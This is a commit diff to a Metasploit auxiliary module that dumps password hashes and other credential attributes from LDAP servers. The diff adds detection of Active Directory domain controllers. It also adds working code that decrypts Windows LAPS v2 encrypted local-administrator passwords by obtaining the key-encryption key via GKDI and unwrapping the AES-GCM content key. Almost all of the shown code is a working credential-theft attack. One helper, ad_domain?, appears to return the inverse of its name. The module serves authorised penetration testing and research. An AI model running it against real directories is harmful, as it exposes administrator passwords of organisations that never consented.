3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
+ require 'rasn1'
7
+
6
8
class MetasploitModule < Msf ::Auxiliary
7
9
8
10
include Msf ::Auxiliary ::Scanner
9
11
include Msf ::Auxiliary ::Report
12
+ include Msf ::Exploit ::Remote ::MsGkdi
10
13
include Msf ::Exploit ::Remote ::LDAP
11
14
include Msf ::OptionalSession ::LDAP
12
15
13
16
include Msf ::Exploit ::Deprecated
14
17
moved_from 'auxiliary/gather/ldap_hashdump'
15
18
16
- PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
19
+ LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800' . freeze
20
+ PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
17
21
18
22
def initialize ( info = { } )
19
23
super (
@@ -62,6 +66,61 @@ def print_prefix
62
66
"#{ peer . ljust ( 21 ) } - "
63
67
end
64
68
69
+ def get_ad_ds_domain_info ( ldap )
70
+ vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
71
+
72
+ root_dse = ldap . search (
73
+ ignore_server_caps : true ,
74
+ base : '' ,
75
+ scope : Net ::LDAP ::SearchScope_BaseObject ,
76
+ attributes : %i[ configurationNamingContext supportedCapabilities supportedExtension ]
77
+ ) &.first
78
+
79
+ unless root_dse [ :supportedcapabilities ] . map ( &:to_s ) . include? ( LDAP_CAP_ACTIVE_DIRECTORY_OID )
80
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
81
+ return nil
82
+ end
83
+
84
+ unless root_dse [ :supportedextension ] . include? ( Net ::LDAP ::WhoamiOid )
85
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
86
+ return nil
87
+ end
88
+
89
+ print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
90
+
91
+ unless ldap . search ( base : '' , filter : '(objectClass=domain)' ) . nil?
92
+ # this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
93
+ # means we'll be getting information from more than one domain which breaks some core assumptions
94
+ # see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
95
+ fail_with ( Msf ::Module ::Failure ::NoTarget , 'The target LDAP server is a Global Catalog.' )
96
+ end
97
+
98
+ # our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
99
+
100
+ target_domains = ldap . search (
101
+ base : root_dse [ :configurationnamingcontext ] . first . to_s ,
102
+ filter : "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ ldap . base_dn } ))"
103
+ )
104
+ unless target_domains . present?
105
+ fail_with ( Msf ::Module ::Failure ::NotFound , 'The target LDAP server did not return its NETBIOS domain name.' )
106
+ end
107
+
108
+ unless target_domains . length == 1
109
+ fail_with ( Msf ::Module ::Failure ::NotFound , "The target LDAP server returned #{ target_domains . length } NETBIOS domain names." )
110
+ end
111
+
112
+ target_domain = target_domains . first
113
+
114
+ {
115
+ netbios_name : target_domain [ :netbiosname ] . first . to_s ,
116
+ dns_name : target_domain [ :dnsroot ] . first . to_s
117
+ }
118
+ end
119
+
120
+ def ad_domain?
121
+ @ad_ds_domain_info . nil?
122
+ end
123
+
65
124
# PoC using ldapsearch(1):
66
125
#
67
126
# Retrieve root DSE with base DN:
@@ -89,6 +148,8 @@ def run_host(_ip)
89
148
vprint_status ( "Using the '#{ datastore [ 'USER_ATTR' ] } ' attribute as the username" )
90
149
end
91
150
151
+ @ad_ds_domain_info = get_ad_ds_domain_info ( ldap )
152
+
92
153
print_status ( "Searching base DN: #{ base_dn } " )
93
154
entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
94
155
end
@@ -106,10 +167,12 @@ def run_host(_ip)
106
167
def ldap_search ( ldap , base_dn , args )
107
168
entries_returned = 0
108
169
creds_found = 0
170
+ # TODO: use a filter when we're targeting AD DS
109
171
def_args = {
110
- base : '' ,
111
172
return_result : false ,
112
- attributes : %w[ * + - ]
173
+ scope : Net ::LDAP ::SearchScope_WholeSubtree ,
174
+ # build a filter that searches for any object that contains at least one of the attributes we're interested in
175
+ filter : "(|#{ password_attributes . map { "(#{ _1 } =*)" } . join } )"
113
176
}
114
177
115
178
begin
@@ -233,6 +296,12 @@ def process_hash(entry, attr)
233
296
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234
297
# In the meantime, dump the base64 encoded value.
235
298
private_data = Base64 . strict_encode64 ( private_data )
299
+ when 'mslaps-encryptedpassword'
300
+ lapsv2 = process_result_lapsv2_encrypted ( entry )
301
+ next if lapsv2 . nil?
302
+
303
+ username = lapsv2 [ 'n' ]
304
+ private_data = lapsv2 [ 'p' ]
236
305
when 'userpkcs12'
237
306
# if we get non printable chars, encode into base64
238
307
if ( private_data =~ /[^[:print:]]/ ) . nil?
@@ -271,7 +340,7 @@ def process_hash(entry, attr)
271
340
# highlight unresolved hashes
272
341
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273
342
274
- print_good ( "Credentials (#{ jtr_format || 'password' } ) found in #{ attr } : #{ username } :#{ private_data } " )
343
+ print_good ( "Credentials (#{ jtr_format . blank? ? 'password' : jtr_format } ) found in #{ attr } : #{ username } :#{ private_data } " )
275
344
276
345
report_creds ( username , private_data , jtr_format )
277
346
creds_found += 1
@@ -300,7 +369,104 @@ def report_creds(username, private_data, jtr_format)
300
369
username : username
301
370
} . merge ( service_data )
302
371
372
+ if @ad_ds_domain_info
373
+ credential_data [ :realm_key ] = Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN
374
+ credential_data [ :realm_value ] = @ad_ds_domain_info [ :dns_name ]
375
+ end
376
+
303
377
cl = create_credential_and_login ( credential_data )
304
378
cl . respond_to? ( :core_id ) ? cl . core_id : nil
305
379
end
380
+
381
+ def process_result_lapsv2_encrypted ( result )
382
+ encrypted_block = result [ 'msLAPS-EncryptedPassword' ] . first
383
+
384
+ encrypted_blob = LAPSv2EncryptedPasswordBlob . read ( encrypted_block )
385
+ content_info = Rex ::Proto ::CryptoAsn1 ::Cms ::ContentInfo . parse ( encrypted_blob . buffer . pack ( 'C*' ) )
386
+ encrypted_data = encrypted_blob . buffer [ content_info . to_der . bytesize ...] . pack ( 'C*' )
387
+ enveloped_data = content_info . enveloped_data
388
+ recipient_info = enveloped_data [ :recipient_infos ] [ 0 ]
389
+ kek_identifier = recipient_info [ :kekri ] [ :kekid ]
390
+
391
+ key_identifier = kek_identifier [ :key_identifier ]
392
+ key_identifier = GkdiGroupKeyIdentifier . read ( key_identifier . value )
393
+
394
+ other_key_attribute = kek_identifier [ :other ]
395
+ unless other_key_attribute [ :key_attr_id ] . value == '1.3.6.1.4.1.311.74.1'
396
+ vprint_error ( 'msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.' )
397
+ return
398
+ end
399
+
400
+ ms_key_attribute = MicrosoftKeyAttribute . parse ( other_key_attribute [ :key_attr ] . value )
401
+ kv_pairs = ms_key_attribute [ :content ] [ :content ] [ :content ] [ :kv_pairs ]
402
+ sid = kv_pairs . value . find { |kv_pair | kv_pair [ :name ] . value == 'SID' } [ :value ] &.value
403
+
404
+ sd = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . from_sddl_text (
405
+ "O:SYG:SYD:(A;;CCDC;;;#{ sid } )(A;;DC;;;WD)" ,
406
+ domain_sid : sid . rpartition ( '-' ) . first
407
+ )
408
+
409
+ if @gkdi_client . nil?
410
+ @gkdi_client = connect_gkdi ( username : datastore [ 'LDAPUsername' ] , password : datastore [ 'LDAPPassword' ] )
411
+ end
412
+
413
+ begin
414
+ kek = gkdi_get_kek (
415
+ client : @gkdi_client ,
416
+ security_descriptor : sd ,
417
+ key_identifier : key_identifier
418
+ )
419
+ rescue StandardError => e
420
+ elog ( 'Failed to obtain the KEK from GKDI' , error : e )
421
+ print_error ( "Failed to obtain the KEK from GKDI: #{ e . class } - #{ e } " )
422
+ return nil
423
+ end
424
+
425
+ algorithm_identifier = content_info . enveloped_data [ :encrypted_content_info ] [ :content_encryption_algorithm ]
426
+ # TODO: validate that AES-GCM is in use
427
+ iv = algorithm_identifier . gcm_parameters [ :aes_nonce ] . value
428
+ encrypted_key = recipient_info [ :kekri ] [ :encrypted_key ] . value
429
+
430
+ key = Rex ::Crypto ::KeyWrap ::NIST_SP_800_38f . aes_unwrap ( kek , encrypted_key )
431
+
432
+ cipher = OpenSSL ::Cipher ::AES . new ( key . length * 8 , :GCM )
433
+ cipher . decrypt
434
+ cipher . key = key
435
+ cipher . iv_len = iv . length
436
+ cipher . iv = iv
437
+ cipher . auth_tag = encrypted_data [ -16 ...]
438
+ plaintext = cipher . update ( encrypted_data [ ...-16 ] ) + cipher . final
439
+ JSON . parse ( RubySMB ::Field ::Stringz16 . read ( plaintext ) . value )
440
+ end
441
+
442
+ # https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
443
+ # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
444
+ class LAPSv2EncryptedPasswordBlob < BinData ::Record
445
+ endian :little
446
+
447
+ file_time :timestamp
448
+ uint32 :buffer_size
449
+ uint32 :flags
450
+ uint8_array :buffer , initial_length : :buffer_size
451
+ end
452
+
453
+ class MicrosoftKeyAttribute < RASN1 ::Model
454
+ class Sequence < RASN1 ::Model
455
+ class KVPairs < RASN1 ::Model
456
+ sequence :content , content : [
457
+ utf8_string ( :name ) ,
458
+ utf8_string ( :value )
459
+ ]
460
+ end
461
+
462
+ sequence :content , constructed : true , content : [
463
+ sequence_of ( :kv_pairs , KVPairs )
464
+ ]
465
+ end
466
+
467
+ sequence :content , content : [
468
+ objectid ( :key_attr_id ) ,
469
+ model ( :key_attr , Sequence )
470
+ ]
471
+ end
306
472
end
0 commit comments